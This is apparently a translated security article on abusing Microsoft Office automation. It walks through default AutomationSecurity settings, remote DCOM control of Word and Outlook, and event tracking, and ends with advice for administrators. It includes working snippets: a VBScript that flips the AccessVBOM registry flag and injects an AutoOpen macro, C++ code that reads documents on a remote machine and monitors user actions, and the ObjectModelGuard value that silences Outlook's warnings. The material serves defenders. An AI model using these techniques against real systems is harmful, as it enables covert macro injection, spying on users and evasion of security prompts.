Microsoft Office Security: Automation

Electronic document management programs have made a real breakthrough, greatly facilitating the work of office staff. But it soon became clear that you could go even further by automating the routine actions of users. Programmable office applications had a distinct advantage in the market. Visual Basic For Applications did not satisfy all needs: it required the support of various "external" languages, including scripting.

As mentioned in previous articles , the development of a package was started at a time when no one really thought about the security of desktop systems. The main goal of the developers was speed, secondary - low requirements for system resources. Accordingly, no one even tried to limit the scope for automating applications. On the contrary, in their functionality they tried to include everything that was lacking in imagination and technical capabilities of the developers. In the future, this immense functionality had to be artificially limited and immediately added mechanisms for disabling restrictions for the sake of compatibility with old solutions, which is still more confusing.
')
Of course, the basis of the new software platform, which was called the object model (Microsoft Office Object Model), or Automation Microsoft Office (Microsoft Office Automation), formed the technology COM / OLE (the latter, in turn, was developed to a large extent with an eye to the needs Office package).

In brief, the essence of Office automation technology can be described as follows: the applications themselves, their details (for example, the menu or security settings), open documents and document contents are for the client program a set of objects that have certain properties and methods. For example, an Application object may have a Document Collection property, a separate Document from which has the Text property and the Find method.



Microsoft Office objects are available not only from macros, but also from external programs in any languages ​​that support COM. The latter can be compiled programs in C ++ or Delphi, managed by Java or .Net applications, or VBScript and PowerShell scripts.

try { using namespace Word; _ApplicationPtr word(L"Word.Application"); word->Visible = true; word->Activate(); _DocumentPtr wdoc1 = word->Documents->Add(); RangePtr range = wdoc1->Content; range->LanguageID = wdRussian; range->Tables->Add(range,5,5); wdoc1->SaveAs(&_variant_t("C:\\1test.doc")); wdoc1->Close(); } catch (_com_error& er) {} 

C ++ usage example

 $word = New-Object -ComObject "Word.application" $word.Visible = $true $document = $word.documents.Add() $selection = $word.selection $selection.font.size = 14 $selection.font.bold = 1 $selection.Style ="Title" $selection.typeText("Nice Title") $selection.ParagraphFormat.Alignment = "wdAlignParagraphCenter" 

PowerShell usage example

The Office object model covers virtually all the functionality of a package. Any action that can be performed from the UI can also be invoked programmatically. Such actions as saving to disk or reading from disk, sending e-mail messages, viewing the address book, changing security settings, adding macros to the document, and the contents of user documents themselves are of interest from a security point of view.

In addition, COM provides the ability to program feedback in the event of certain Events, which allows you to programmatically monitor the operation of applications, including user actions, in real time.

These features allow you to create not only flexible and feature-rich workflow automation systems, but also malicious applications, for example, which track the sending of Outlook letters and add attachments. In this case, the malicious executable code will have a minimum size, since the main work is performed by Office objects. This facilitates the creation of malicious code, as well as its distribution and concealment from antivirus programs.

msoAutomationSecurity

An interesting moment is connected with automation, which was mentioned earlier . Application security settings (those that determine the ability to auto-run macros and other active content from documents) in the Office software model are determined by the Application.AutomationSecurity property variable. By default, this property is set to msoAutomationSecurityLow, which allows the launch of any active content from automatically opened documents. Security settings set by a user in the Trust Center or an administrator using administrative templates stored in the registry do not affect the security settings of Microsoft Office applications running in automation mode. For secure automatic processing of documents, the AutomationSecurity property must be purposefully changed programmatically at runtime.
Such a small detail can be of great importance for companies that have set up automatic processing of documents received from outside (via email, from cloud storage, etc.) documents.

Access to the VBA object model

As with most other elements of Microsoft Office applications,
the ability to control and modify Visual Basic for Applications code and projects programmatically is available through automation interfaces. By default, it is disabled to enhance package security and protect against macro viruses. If you try to programmatically create an object related to VBA, an error will be returned to the calling program:

Error: 6068
Programmatic access to Visual Basic Project is not trusted.

If the user still needs programmatic access to VBA, he can enable this feature in the Trust Center settings:



The disadvantage of this solution is that the setting specified in this way is saved in the registry branch that the user can modify, for example, for Microsoft Word, this is:

HKEY_CURRENT_USER\Software\Microsoft\Office\ >> Office << \Word\Security\AccessVBOM

This means that any program that needs access to the VBA object model can “allow” itself these actions completely independently. Below is the VBScript program code that sets this flag in the registry and writes code to the VBA project of the currently open document.

 '  Office      AccessVBOM Set objWord = CreateObject("Word.Application") dim regpath regpath = "HKCU\Software\Microsoft\Office\" & objWord.Version & "\Word\Security\AccessVBOM" objWord.Quit '     Word WScript.Sleep 1000 ' ,      VBA Set myWS = CreateObject("WScript.Shell") myWS.RegWrite regpath, 1, "REG_DWORD" '   Word... On Error Resume Next Set objWord = GetObject(,"Word.Application") If Err Then '...   wscript.echo "app not running, starting..." Set objWord = CreateObject("Word.Application") objWord.Visible = True objWord.Documents.Add() End If Err.Clear Set objDoc = objWord.ActiveDocument On Error Resume Next set prj = objDoc.VBProject If Err Then wscript.echo "Error: " & Err.number & Err.Description End If Err.Clear prj.VBComponents("ThisDocument").CodeModule.AddFromString ("Sub AutoOpen()"&vbCRLF&"MsgBox ""Hello world!"""&vbCRLF&"End Sub") 

Configuring software access to VBA can also be determined by registry keys

HKLM\Software\Microsoft\Office\>> Office <<\Word\Security\AccessVBOM

and

HKLM\SOFTWARE\Policies\Microsoft\Office\>> Office <<\Word\Security\AccessVBOM

These keys have an advantage over those contained in the HKEY_CURRENT_USER branch. The administrator can change them, for example, using group policy templates, thereby blocking the ability to edit this setting by the user. However, by default, these keys are missing.

Remote Execution / DCOM

COM technology was originally designed for location transparency: the called components can be libraries (DLLs) loaded into the calling process, or to a separate proxy process, locally executed programs (EXE) or components located on any other computer (DCOM) .



Depending on the settings, the methods for calling a particular component may be different, and this can be implemented transparently for both the client and the server. Certain changes in the registry can make any component registered in the system available for remote control, including anonymous. Once you gain access to a vulnerable system, the attacker can then use this technology to perform any actions on behalf of a legitimate user without having to save any executable or interpreted programs to disk. As for Microsoft Office, the possible actions include reading, creating and editing documents, adding macros and other active content, reading and sending email, getting the contents of the Outlook address book.

For example, you can make Microsoft Word components available for remote management by performing manual configuration. If desired, you can configure access with or without authentication (for an anonymous connection). At the same time, applications will run on behalf of an interactive (logged on locally) user.

To manually configure the following steps:

1. open the DCOM port in the firewall and add Microsoft Word to the list of allowed programs
2. using the Dcomcnfg utility, configure remote access for Microsoft Word 97 - 2003 Document component

One of the DCOM component configuration steps for Word

Naturally, the same settings can be made programmatically.
Thus, the object model of Microsoft Word is available for remote control.

 hr = CoCreateInstanceEx (CLSID_Word, NULL, CLSCTX_REMOTE_SERVER, &si, 1, rgmqi); IUnknown* pUnknown = 0; if (hr == S_OK) { pUnknown = (IUnknown*)rgmqi[0].pItf; printf ("CoCreateInstanceEx OK\n"); } else { printf ("CoCreateInstanceEx failed, error: 0x%X\n", hr); return; } _Application* pApp; hr = pUnknown->QueryInterface(__uuidof(_Application), (void**)&pApp); pUnknown->Release (); if(FAILED(hr)) { printf ("QueryInterface (_Application) failed, error: 0x%X\n", hr); return; } printf ("DCOM server on remote machine started!\n"); WCHAR* wszDocFileName = L"C:\\Users\\administrator\\Desktop\\important.docx"; VARIANT varResult; DISPPARAMS dp = {0}; dp.cArgs = 1; dp.cNamedArgs = 0; dp.rgvarg = new VARIANT[dp.cArgs]; dp.rgvarg[0].vt = VT_BSTR; dp.rgvarg[0].bstrVal = SysAllocString (wszDocFileName); ZeroMemory(&varResult,sizeof(varResult)); hr=CallMethod(pApp->Documents,OLESTR("Open"),&dp,&varResult); SysFreeString(dp.rgvarg[0].bstrVal); delete []dp.rgvarg ; IDispatch* IDWordDoc = varResult.pdispVal; struct _Document * Copy = NULL; IDWordDoc->QueryInterface (__uuidof(_Document), (LPVOID*)&Copy); RangePtr pContent = Copy->Content; printf (pContent->Text); Copy->Close (); pApp->Quit (); 

Sample code for Visual Studio reading the contents of a given file on a remote computer

Tracking user actions / events

To track changes in Microsoft Office programs, the object model provides the standard COM technology for Connection Points (Export Points), exporting the IConnectionPointContainer interface. Various types of events are supported: opening, closing, saving a document, sending emails, etc.
Both plug-ins (plug-ins) and automation clients working outside the process of the Microsoft Office program can subscribe to event notifications. In addition to legal programs designed to automate user work with documents, malicious software can also use this functionality.

Below is a fragment of the program text that can track user actions in Microsoft Word, such as opening, closing a document, and sending it to the printer. In each case, the program receives the text of the active document.

 CoInitializeEx(NULL, COINIT_MULTITHREADED); CLSID CLSID_Word; hr = CLSIDFromProgID(L"Word.Application",&CLSID_Word); IUnknown* pUnk = NULL; do { hr = GetActiveObject (CLSID_Word, NULL, &pUnk); Sleep (500); } while (hr != S_OK); hr = OleRun(pUnk); IConnectionPointContainer *pConnPtContainer; hr = pUnk->QueryInterface(IID_IConnectionPointContainer, (void **)&pConnPtContainer); IConnectionPoint *pConnectionPoint; hr = pConnPtContainer->FindConnectionPoint(__uuidof(Word::ApplicationEvents2), &pConnectionPoint); MyEventSink MySink; DWORD dwSinkCookie =0; hr = pConnectionPoint->Advise (&MySink, &dwSinkCookie); pConnPtContainer->Release(); 

Application for fixing / executing code in a vulnerable system

In Pentester (and not only) practice, it sometimes becomes necessary to leave the possibility of access to a computer that does not cause suspicion to the user or administrators and will not be detected by the antivirus. The Office component model is perfect for this. Matt Nelson (@ enigma0x3) ( Excel , Outlook ) made good descriptions of some variants.

In the first case, programmatic access to Excel is used to launch the macro, in the second Outlook, to launch an arbitrary application.

Outlook Alerts

The Microsoft Outlook object model is very convenient for malware creators in that it makes it easy to edit and distribute email messages, add attachments, use the address book, performing these actions on behalf of a legal user. It also provides the ability to track user actions, changing, for example, a message created by the user at the time of sending.

Using the DCOM features allows you to perform these actions remotely, without storing any executable code that can be detected by antivirus programs on a vulnerable computer.

To reduce the likelihood of malicious software using Microsoft Outlook interfaces, the developers added custom messages about program access to Microsoft Outlook when trying to modify or send messages, access the address book.


User message about program access to Microsoft Outlook

By default, the message will appear only if the anti-virus software is not installed. That is, with the installed and updated antivirus, Outlook will no longer warn the user about suspicious activity. Things are easy - to carry out our plans, without attracting the attention of the antivirus.

In the registry, this option is stored in the Security subkey of Microsoft Outlook, for example, for Microsoft Office version 2016 32-bit with the ClickToRun platform, the full key path:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\ClickToRun\REGISTRY\MACHINE\Software\Wow6432Node\Microsoft\Office\16.0\Outlook\Security

To disable warnings about suspicious program activity, you need to add the value: ObjectModelGuard (DWORD) 0x2.
To change these settings in the latest versions of Microsoft Office is possible by means of group administration, or through the registry. The ability to change them through the user interface is disabled by default.

Finally

None of the above features of Microsoft Office is in the full sense of the word vulnerability, and therefore, fixing them can hardly be expected in the foreseeable future. What can a vigilant system administrator do in this case?
If you use automated processing of Office documents, especially from untrusted sources, it is advisable to make sure that the security settings are set correctly. This can be done by "feeding" an automated document with a macro. Note that the use of automation may not be obvious, for example, a third-party program may invoke Microsoft Office applications to import data from .docx or .xlsx formats.
It is desirable to carefully customize the package using administrative templates.
The usual distinction of access rights will help to avoid serious consequences, working with Office solely from under an account that has user privileges. Firewall and User Access Control is a prerequisite for Windows security.
It is almost impossible to completely disable automation without violating the functionality of the Microsoft Office suite.